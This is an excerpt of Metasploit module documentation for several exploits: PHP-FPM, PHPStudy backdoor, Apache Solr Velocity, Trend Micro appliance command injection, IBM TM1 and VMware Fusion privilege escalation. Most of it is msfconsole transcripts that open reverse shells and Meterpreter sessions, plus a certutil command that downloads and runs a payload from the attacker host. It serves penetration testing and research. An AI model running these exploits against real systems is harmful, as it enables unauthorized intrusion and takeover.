msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
|
||||
TARGETURI => /script.php
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
|
||||
PAYLOAD => php/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
|
||||
LHOST => 192.168.6.6
|
||||
msf5 exploit(multi/http/php_fpm_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.6.6:4444
|
||||
[*] Sending baseline query...
|
||||
[*] Detecting QSL...
|
||||
[+] The target is probably vulnerable. Possible QSLs: [1765]
|
||||
[*] Doing sanity check...
|
||||
[*] Detecting attack parameters...
|
||||
[+] Parameters found: QSL=1760, customh_length=69
|
||||
[+] Target is vulnerable!
|
||||
[*] Performing attack using php.ini settings...
|
||||
[+] Success! Was able to execute a command by appending 'which+which'
|
||||
[*] Trying to cleanup /tmp/a...
|
||||
[+] Cleanup done!
|
||||
[*] Sending payload...
|
||||
[*] Sending stage (38288 bytes) to 192.168.6.6
|
||||
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
|
||||
[+] Session created
|
||||
[*] Remove /tmp/a and kill workers...
|
||||
[+] Done!
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : 832efebeac57
|
||||
OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
## Description
|
||||
|
||||
PHPStudy is free software, it is a one-click installation software, which includes PHP, MySQL, Apache and more. At some point in time, hackers were able to hack into phpStudy and tamper on 2016 and 2018 versions of the software to make it vulnerable to this specific exploit.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability exists in php-5.4.45 and php-5.2.17 service versions in PHPStudy2016 and PHPStudy2018
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do:```use exploit/multi/http/phpstudy_backdoor_rce```
|
||||
3. Do:```set rhosts <target>```
|
||||
4. Do:```run```
|
||||
|
||||
If your target is vulnerable, you will get a shell.
|
||||
you should see an output similar to the following
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/phpstudy_backdoor_rce) > set rhosts 192.168.56.104
|
||||
rhosts => 192.168.56.104
|
||||
msf5 exploit(multi/http/phpstudy_backdoor_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[+] Sending shellcode
|
||||
[*] Sending stage (38288 bytes) to 192.168.56.104
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.104:49169) at 2020-02-23 10:11:40 +0800
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,317 @@
|
||||
## Description
|
||||
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
|
||||
Velocity template. Currently, this module only supports Solr basic authentication.
|
||||
|
||||
**From the Tenable advisory**
|
||||
|
||||
Link: https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
|
||||
|
||||
An attacker could target a vulnerable Apache Solr instance by first
|
||||
identifying a list of Solr core names. Once the core names have been
|
||||
identified, an attacker can send a specially crafted HTTP POST request
|
||||
to the Config API to toggle the params resource loader value for the
|
||||
Velocity Response Writer in the solrconfig.xml file to true. Enabling
|
||||
this parameter would allow an attacker to use the Velocity template
|
||||
parameter in a specially crafted Solr request, leading to RCE.
|
||||
|
||||
## Vulnerable Applications
|
||||
|
||||
Apache Solr <= 8.3.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/http/solr_velocity_rce`
|
||||
3. `set RHOST <target_ip>`
|
||||
4. `set RPORT <target_port>`
|
||||
5. `set USERNAME <username>` (if applicable)
|
||||
6. `set PASSWORD <password>` (if applicable)
|
||||
7. Ideally run `check`
|
||||
8. `set TARGET` based on output of `check`
|
||||
9. `set PAYLOAD <payload_name>` if you want to use other payloads
|
||||
10. `set LHOST <your_ip>`
|
||||
11. `set LPORT <your_port>`
|
||||
12. Optional: `set VERBOSE true` to get verbose output
|
||||
13. Optional: `set TARGETURI <path_to_solr>` if target system uses a different path to Apache Solr
|
||||
14. `exploit` and let the shells rain
|
||||
|
||||
## Considerations
|
||||
|
||||
Privileges gained are dependent on the user running Solr. Currently,
|
||||
this module only supports basic auth.
|
||||
|
||||
Windows systems have 3 targets:
|
||||
1. x86/64 Windows PowerShell: Uses `PowerShell` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
|
||||
2. x86/64 Windows CmdStager: Uses `CmdStager` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
|
||||
3. Windows Exec: Executes a command and returns the output. Payload defaults to `cmd/windows/generic`
|
||||
|
||||
*nix systems have 2 targets:
|
||||
1. Unix (in memory): Uses command execution. Payload defaults to `cmd/unix/reverse_bash`. Output may be returned depending on payload used.
|
||||
2. Linux (dropper): Uses `CmdStager`. Payload defaults to `linux/x86/meterpreter/reverse_tcp`
|
||||
|
||||
Some `cmd/unix` payloads do not work due to a quoting problem: the entire command in the Velocity template is single-quoted
|
||||
for the convenience of `CmdStager`. Some `cmd/unix` are single-quoted, so this breaks the Velocity template.
|
||||
|
||||
The full list of `cmd/unix` payloads that do not work due to the quoting problem are listed below:
|
||||
1. cmd/unix/bind_awk
|
||||
2. cmd/unix/bind_lua
|
||||
3. cmd/unix/bind_nodejs
|
||||
4. cmd/unix/bind_r
|
||||
5. cmd/unix/bind_ruby
|
||||
6. cmd/unix/bind_socat_udp
|
||||
7. cmd/unix/reverse_awk
|
||||
8. cmd/unix/reverse_lua
|
||||
9. cmd/unix/reverse_nodejs
|
||||
10. cmd/unix/reverse_perl
|
||||
11. cmd/unix/reverse_perl_ssl
|
||||
12. cmd/unix/reverse_php_ssl
|
||||
13. cmd/unix/reverse_python
|
||||
14. cmd/unix/reverse_python_ssl
|
||||
15. cmd/unix/reverse_r
|
||||
16. cmd/unix/reverse_ruby
|
||||
17. cmd/unix/reverse_ruby_ssl
|
||||
18. cmd/unix/reverse_socat_udp
|
||||
29. generic/shell_bind_tcp
|
||||
20. generic/shell_reverse_tcp
|
||||
|
||||
The full list of `cmd/unix` payloads that work:
|
||||
1. cmd/unix/bind_netcat
|
||||
2. cmd/unix/bind_netcat_gaping
|
||||
3. cmd/unix/bind_perl
|
||||
4. cmd/unix/bind_zsh
|
||||
5. cmd/unix/generic
|
||||
6. cmd/unix/pingback_bind
|
||||
7. cmd/unix/pingback_reverse
|
||||
8. cmd/unix/reverse
|
||||
9. cmd/unix/reverse_bash
|
||||
10. cmd/unix/reverse_bash_udp
|
||||
11. cmd/unix/reverse_ksh
|
||||
12. cmd/unix/reverse_openssl
|
||||
13. cmd/unix/reverse_ncat_ssl
|
||||
14. cmd/unix/reverse_netcat
|
||||
15. cmd/unix/reverse_netcat_gaping
|
||||
16. cmd/unix/reverse_zsh
|
||||
|
||||
These `cmd/unix` payloads have not fully tested with this module:
|
||||
1. cmd/unix/bind_busybox_telnetd
|
||||
3. cmd/unix/bind_netcat_gaping_ipv6
|
||||
3. cmd/unix/bind_perl_ipv6
|
||||
4. cmd/unix/bind_ruby_ipv6
|
||||
5. cmd/unix/reverse_bash_telnet_ssl
|
||||
6. cmd/unix/reverse_ssl_double_telnet
|
||||
|
||||
These `cmd/unix` payloads have not been tested:
|
||||
1. cmd/unix/bind_stub
|
||||
2. cmd/unix/reverse_stub
|
||||
3. generic/custom
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using PowerShell
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
|
||||
RHOSTS => 192.168.137.132
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 2
|
||||
TARGET => 2
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.137.128:4444
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Windows Server 2019 amd64 10.0
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
|
||||
[*] Sending stage (180291 bytes) to 192.168.137.155
|
||||
[*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.155:50210) at 2020-03-29 00:04:01 +0800
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2K19DTCTR
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
gSystem Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using CmdStager
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
|
||||
RHOSTS => 192.168.137.132
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 3
|
||||
TARGET => 3
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.137.128:4444
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Windows Server 2019 amd64 10.0
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[*] Sending CmdStager payload...
|
||||
[*] Command Stager progress - 7.05% done (7160/101541 bytes)
|
||||
[*] Command Stager progress - 14.10% done (14320/101541 bytes)
|
||||
[*] Command Stager progress - 21.15% done (21480/101541 bytes)
|
||||
[*] Command Stager progress - 28.21% done (28640/101541 bytes)
|
||||
[*] Command Stager progress - 35.26% done (35800/101541 bytes)
|
||||
[*] Command Stager progress - 42.31% done (42960/101541 bytes)
|
||||
[*] Command Stager progress - 49.36% done (50120/101541 bytes)
|
||||
[*] Command Stager progress - 56.41% done (57280/101541 bytes)
|
||||
[*] Command Stager progress - 63.46% done (64440/101541 bytes)
|
||||
[*] Command Stager progress - 70.51% done (71600/101541 bytes)
|
||||
[*] Command Stager progress - 77.56% done (78760/101541 bytes)
|
||||
[*] Command Stager progress - 84.62% done (85920/101541 bytes)
|
||||
[*] Command Stager progress - 91.67% done (93080/101541 bytes)
|
||||
[*] Command Stager progress - 98.67% done (100188/101541 bytes)
|
||||
[*] Sending stage (180291 bytes) to 192.168.137.155
|
||||
[*] Command Stager progress - 100.00% done (101541/101541 bytes)
|
||||
[*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.155:50211) at 2020-03-29 00:06:01 +0800
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2K19DTCTR
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, with payload `cmd/windows/generic`
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
|
||||
RHOSTS => 192.168.137.132
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 4
|
||||
TARGET => 4
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Windows Server 2019 amd64 10.0
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[+] 2k19dtctr\administrator
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/solr_velocity_rce) >
|
||||
```
|
||||
|
||||
### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/reverse_bash`
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
|
||||
RHOSTS => 192.168.137.129
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
|
||||
TARGET => 0
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
|
||||
USERNAME => user
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
|
||||
PASSWORD => j6lzH82e6Jc5
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.137.128:4444
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Linux amd64 4.9.0-11-amd64
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[*] Command shell session 17 opened (192.168.137.128:4444 -> 192.168.137.129:48600) at 2020-03-29 00:20:50 +0800
|
||||
|
||||
id
|
||||
uid=999(solr) gid=1002(solr) groups=1002(solr)
|
||||
```
|
||||
|
||||
### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/generic`
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
|
||||
RHOSTS => 192.168.137.129
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
|
||||
TARGET => 0
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
|
||||
USERNAME => user
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
|
||||
PASSWORD => j6lzH82e6Jc5
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
|
||||
CMD => whoami
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.137.128:4444
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Linux amd64 4.9.0-11-amd64
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[+] solr
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/solr_velocity_rce) >
|
||||
```
|
||||
|
||||
### Bitnami Solr VM 8.3.0, requiring basic authentication, using CmdStager, with payload `linux/x86/meterpreter/reverse_tcp`
|
||||
```
|
||||
msf5 > use exploit/multi/http/solr_velocity_rce
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
|
||||
RHOSTS => 192.168.137.129
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
|
||||
USERNAME => user
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
|
||||
PASSWORD => j6lzH82e6Jc5
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
|
||||
LHOST => 192.168.137.128
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf5 exploit(multi/http/solr_velocity_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.137.128:4444
|
||||
[*] Found Apache Solr 8.3.0
|
||||
[*] OS version is Linux amd64 4.9.0-11-amd64
|
||||
[*] Found core(s): techproducts
|
||||
[*] Targeting core 'techproducts'
|
||||
[*] Using URL: http://0.0.0.0:8080/PDeRPN1t
|
||||
[*] Local IP: http://192.168.137.128:8080/PDeRPN1t
|
||||
[*] Client 192.168.137.129 (curl/7.52.1) requested /PDeRPN1t
|
||||
[*] Sending payload to 192.168.137.129 (curl/7.52.1)
|
||||
[*] Sending stage (985320 bytes) to 192.168.137.129
|
||||
[*] Meterpreter session 18 opened (192.168.137.128:4444 -> 192.168.137.129:48604) at 2020-03-29 00:23:13 +0800
|
||||
[*] Command Stager progress - 100.00% done (149/149 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.137.129
|
||||
OS : Debian 9.11 (Linux 4.9.0-11-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
+34
-6
@@ -1,14 +1,20 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
|
||||
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication
|
||||
bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a
|
||||
reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
|
||||
|
||||
Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
|
||||
Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted.
|
||||
The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box.
|
||||
Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to
|
||||
perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
|
||||
|
||||
Trend Micro are not patching this vulnerability since this product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
|
||||
Trend Micro are not patching this vulnerability since this
|
||||
product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
|
||||
|
||||

|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
### Vulnerable Application Installation Steps
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
@@ -17,9 +23,31 @@ List the steps needed to make sure this thing works
|
||||
- [ ] Click through the default install.
|
||||
- [ ] You are ready to burn.
|
||||
|
||||
**Verification Steps**
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
1. Install the appliance
|
||||
2. Start metasploit
|
||||
3. Do: ```use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi```
|
||||
4. Do: ```set payload linux/x86/meterpreter/reverse_tcp```
|
||||
5. Do: ```set RHOST [IP]```
|
||||
6. Do: ```set LHOST [IP]```
|
||||
7. Do: ```exploit```
|
||||
8. The exploit will reset the admin password, now reboot the VM.
|
||||
9. After reboot, you receive a root shell
|
||||
|
||||
## Options
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Password for the system. Default is `admin`.
|
||||
|
||||
### AUTHBYPASS
|
||||
|
||||
Bypass the system's authentication. Defaults to `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Trendmicro Threat Discovery Appliance 2.6.1062r1
|
||||
|
||||
```
|
||||
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows an unauthenticated attacker to perform a configuration overwrite.
|
||||
It starts by querying the Admin server for the available applications, picks one, and then exploits it. You can also provide an application name to bypass this step, and exploit the application directly.
|
||||
The configuration overwrite is used to change an application server authentication method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
|
||||
The exploit then performs a fake authentication as admin, and finally abuses TM1 scripting to perform a command injection as root or SYSTEM.
|
||||
|
||||
This module starts by querying the Admin server, which usually runs on port 5498 with SSL enabled, or 5495 without SSL. This can be queried by a normal client without authentication, and with that we retrieve a list of applications, the servers where they are running, the ports where they are running, and if they use SSL or not.
|
||||
|
||||
Note that there might be cases where the applications do not run on the same host as the Admin server; however this is expected to be rare. Even in that case, the exploit should work perfectly, as it uses the information from the Admin server to connect to the Application server host, and automatically sets up SSL if needed.
|
||||
|
||||
If you know the application name, port and SSL status, you can enter this directly into the exploit, which then will not perform the Admin server query. For this, enter the application port in the `RPORT` option, whether it uses SSL in the `SSL` option, and finally set `APP_NAME` to the application name.
|
||||
|
||||
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
|
||||
|
||||
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
|
||||
|
||||
Users are encouraged to share success stories with the module author, Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security. For more information, check the full advisory at https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt.
|
||||
|
||||
### Setup
|
||||
|
||||
To obtain the vulnerable application you need an official IBM installer for IBM Planning Analytics or IBM TM1. This exploit works perfectly for both Windows and Linux targets.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use [module path]```
|
||||
4. Do: ```set srvhost [lhost]```
|
||||
5. Do: ```set target [0|1]```
|
||||
6. Do: ```set rhost [rhost]```
|
||||
7. Do: ```run```
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**SSL**
|
||||
|
||||
Whether to use SSL to connect to the Admin / Application server (default true)
|
||||
|
||||
**APP_NAME**
|
||||
|
||||
Application name to use to connect directly, bypassing Admin server query (default unset).
|
||||
|
||||
**AUTH_ATTEMPTS**
|
||||
|
||||
Number of attempts to authentication to the fake CAM server (default 10).
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] 192.168.1.138:5498 - Connecting to admin server and obtaining application data
|
||||
[+] 192.168.1.138:5498 - Found app GO_New_Stores tcp ip: 192.168.1.138 port: 45557 available: 1 SSL: 1
|
||||
[+] 192.168.1.138:5498 - Found app GO_Scorecards tcp ip: 192.168.1.138 port: 54321 available: 1 SSL: 1
|
||||
[+] 192.168.1.138:5498 - Found app Planning Sample tcp ip: 192.168.1.138 port: 12345 available: 1 SSL: 1
|
||||
[+] 192.168.1.138:5498 - Found app proven_techniques tcp ip: 192.168.1.138 port: 17797 available: 1 SSL: 1
|
||||
[+] 192.168.1.138:5498 - Found app SData tcp ip: 192.168.1.138 port: 12346 available: 1 SSL: 1
|
||||
[*] 192.168.1.138:5498 - Picked SData as our target, connecting...
|
||||
[+] 192.168.1.138:5498 - Current auth method is 1, we're good to go!
|
||||
[*] 192.168.1.138:5498 - Starting up the fake CAM server...
|
||||
[*] 192.168.1.138:5498 - Using URL: http://192.168.1.1:4466/
|
||||
[*] 192.168.1.138:5498 - Changing authentication method to 4 (CAM auth)
|
||||
[*] 192.168.1.138:5498 - Authenticating using CAM Passport and our fake CAM Service...
|
||||
[+] 192.168.1.138:5498 - CAM: Received first CAM query, responding with account info
|
||||
[+] 192.168.1.138:5498 - CAM: Received second CAM query, responding with session info
|
||||
[+] 192.168.1.138:5498 - CAM: Received third CAM query, responding with random garbage
|
||||
[*] 192.168.1.138:5498 - Creating our Process object...
|
||||
[*] 192.168.1.138:5498 - Adding command :"certutil.exe -urlcache -split -f http://192.168.1.1:4466/ C:\Windows\Temp\KWFUmh.exe" to the Process object...
|
||||
[*] 192.168.1.138:5498 - Adding command :"C:\Windows\Temp\KWFUmh.exe" to the Process object...
|
||||
[*] 192.168.1.138:5498 - Registering the Process object under the name 'cRKnsLzFFwDI'
|
||||
[*] 192.168.1.138:5498 - Now let's execute the Process object!
|
||||
[+] 192.168.1.138:5498 - CAM: Received request for payload executable, shell incoming!
|
||||
[+] 192.168.1.138:5498 - CAM: Received request for payload executable, shell incoming!
|
||||
[*] Sending stage (180291 bytes) to 192.168.1.138
|
||||
[*] Meterpreter session 6 opened (192.168.1.1:4444 -> 192.168.1.138:49306) at 2020-03-27 12:24:55 +0700
|
||||
[*] 192.168.1.138:5498 - Restoring original authentication method 1
|
||||
[*] 192.168.1.138:5498 - Server stopped.
|
||||
[!] 192.168.1.138:5498 - This exploit may require manual cleanup of 'C:\Windows\Temp\KWFUmh.exe' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
```
|
||||
@@ -0,0 +1,218 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.2. The `Open VMware USB Arbitrator Service` can be
|
||||
launched outide of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home
|
||||
directory in a specific folder, and creating a hard link to the `Open VMware USB Arbitrator Service`, we're able to launch it
|
||||
temporarily to start our payload with an effective UID of 0.
|
||||
|
||||
Additional description can be found in
|
||||
@mirchr's [exploit](https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh).
|
||||
|
||||
It was found that VMware Fusion 11.5.3, which patched the previous vulnerability utilized an incomplete patch. The patch checked
|
||||
for a correct code signature on the `VMware USB Arbitrator Service` at start, but not at launch, thus creating a TOCTOU race
|
||||
condition. The discoverer @jeffball55 demoed the exploit working in ~30 attempts. This module has been successful between
|
||||
5 and 25 attempts.
|
||||
|
||||
VMware Fusion 11.5.1 is available from [VMware](https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a shell
|
||||
4. Do: ```use exploit/osx/local/vmware_fusion_lpe```
|
||||
5. Do: ```set session #```
|
||||
6. Do: ```run```
|
||||
7. You should get a `euid=0` shell.
|
||||
|
||||
## Options
|
||||
|
||||
### MAXATTEMPTS
|
||||
|
||||
The maximum attempts to start `VMware USB Arbitrator Service`, attempting to win the race against 11.5.3. Default is `75`.
|
||||
|
||||
### Session
|
||||
|
||||
Which session to use this exploit on.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware Fusion 10.1.6
|
||||
|
||||
```
|
||||
msf5 exploit(osx/local/vmware_fusion_lpe) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[+] Vmware Fusion 10.1.6 is exploitable
|
||||
[*] Using pre-11.5.3 exploit
|
||||
[*] Uploading Payload: /Users/wvu/Contents/Library/services/VMware USB Arbitrator Service
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 804084 bytes in 25 chunks of 111592 bytes (octal-encoded), using printf
|
||||
[*] Next chunk is 117552 bytes
|
||||
[*] Next chunk is 116480 bytes
|
||||
[*] Next chunk is 114764 bytes
|
||||
[*] Next chunk is 113263 bytes
|
||||
[*] Next chunk is 111420 bytes
|
||||
[*] Next chunk is 112649 bytes
|
||||
[*] Next chunk is 115231 bytes
|
||||
[*] Next chunk is 113278 bytes
|
||||
[*] Next chunk is 114696 bytes
|
||||
[*] Next chunk is 114109 bytes
|
||||
[*] Next chunk is 118500 bytes
|
||||
[*] Next chunk is 119288 bytes
|
||||
[*] Next chunk is 116736 bytes
|
||||
[*] Next chunk is 114000 bytes
|
||||
[*] Next chunk is 114444 bytes
|
||||
[*] Next chunk is 114460 bytes
|
||||
[*] Next chunk is 116528 bytes
|
||||
